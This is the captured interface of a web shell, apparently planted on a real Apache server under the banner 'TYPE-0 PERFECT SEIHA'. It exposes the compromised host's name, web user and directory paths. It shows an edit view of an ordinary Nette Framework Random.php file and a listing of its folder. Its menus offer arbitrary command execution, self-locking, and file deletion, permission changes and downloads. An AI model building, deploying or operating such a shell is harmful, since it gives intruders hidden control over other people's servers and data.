TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
utils
src
Utils
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/utils/src/Utils/Random.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette\Utils; /** * Secure random string generator. */ class Random { /** * Generate random string. * @param int * @param string * @return string */ public static function generate($length = 10, $charlist = '0-9a-z') { $charlist = count_chars(preg_replace_callback('#.-.#', function ($m) { return implode('', range($m[0][0], $m[0][2])); }, $charlist), 3); $chLen = strlen($charlist); if ($length < 1) { return ''; // mcrypt_create_iv does not support zero length } elseif ($chLen < 2) { return str_repeat($charlist, $length); // random_int does not support empty interval } $res = ''; if (PHP_VERSION_ID >= 70000) { for ($i = 0; $i < $length; $i++) { $res .= $charlist[random_int(0, $chLen - 1)]; } return $res; } $windows = defined('PHP_WINDOWS_VERSION_BUILD'); $bytes = ''; if (function_exists('openssl_random_pseudo_bytes') && (PHP_VERSION_ID >= 50400 || !defined('PHP_WINDOWS_VERSION_BUILD')) // slow in PHP 5.3 & Windows ) { $bytes = openssl_random_pseudo_bytes($length, $secure); if (!$secure) { $bytes = ''; } } if (strlen($bytes) < $length && function_exists('mcrypt_create_iv') && (PHP_VERSION_ID >= 50307 || !$windows)) { // PHP bug #52523 $bytes = mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); } if (strlen($bytes) < $length && !$windows && @is_readable('/dev/urandom')) { $bytes = file_get_contents('/dev/urandom', FALSE, NULL, -1, $length); } if (strlen($bytes) < $length) { $rand3 = md5(serialize($_SERVER), TRUE); $charlist = str_shuffle($charlist); for ($i = 0; $i < $length; $i++) { if ($i % 5 === 0) { list($rand1, $rand2) = explode(' ', microtime()); $rand1 += lcg_value(); } $rand1 *= $chLen; $res .= $charlist[($rand1 + $rand2 + ord($rand3[$i % strlen($rand3)])) % $chLen]; $rand1 -= (int) $rand1; } return $res; } for ($i = 0; $i < $length; $i++) { $res .= $charlist[($i + ord($bytes[$i])) % $chLen]; } return $res; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Arrays.php
5930
0644
2016-01-11 22:52:51
Unknown/Unknown
ArrayList.php
1943
0644
2016-01-11 22:52:51
Unknown/Unknown
Paginator.php
4030
0644
2018-07-10 17:51:50
Unknown/Unknown
ITranslator.php
401
0644
2016-01-11 22:52:51
Unknown/Unknown
Object.php
4275
0644
2018-07-10 17:51:50
Unknown/Unknown
Html.php
12613
0644
2018-07-10 17:51:50
Unknown/Unknown
exceptions.php
2974
0644
2016-01-11 22:52:51
Unknown/Unknown
Strings.php
15635
0644
2016-01-11 22:52:51
Unknown/Unknown
Callback.php
4937
0644
2016-01-11 22:52:50
Unknown/Unknown
ObjectMixin.php
13170
0644
2016-01-11 22:52:51
Unknown/Unknown
FileSystem.php
4165
0644
2018-07-10 17:51:50
Unknown/Unknown
IHtmlString.php
260
0644
2016-01-11 22:52:50
Unknown/Unknown
ArrayHash.php
1633
0644
2018-07-10 17:51:50
Unknown/Unknown
DateTime.php
2524
0644
2018-07-10 17:51:50
Unknown/Unknown
Random.php
2155
0644
2016-01-11 22:52:50
Unknown/Unknown
Validators.php
7665
0644
2016-01-11 22:52:50
Unknown/Unknown
Image.php
18633
0644
2018-07-10 17:51:49
Unknown/Unknown
Json.php
3010
0644
2016-01-11 22:52:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin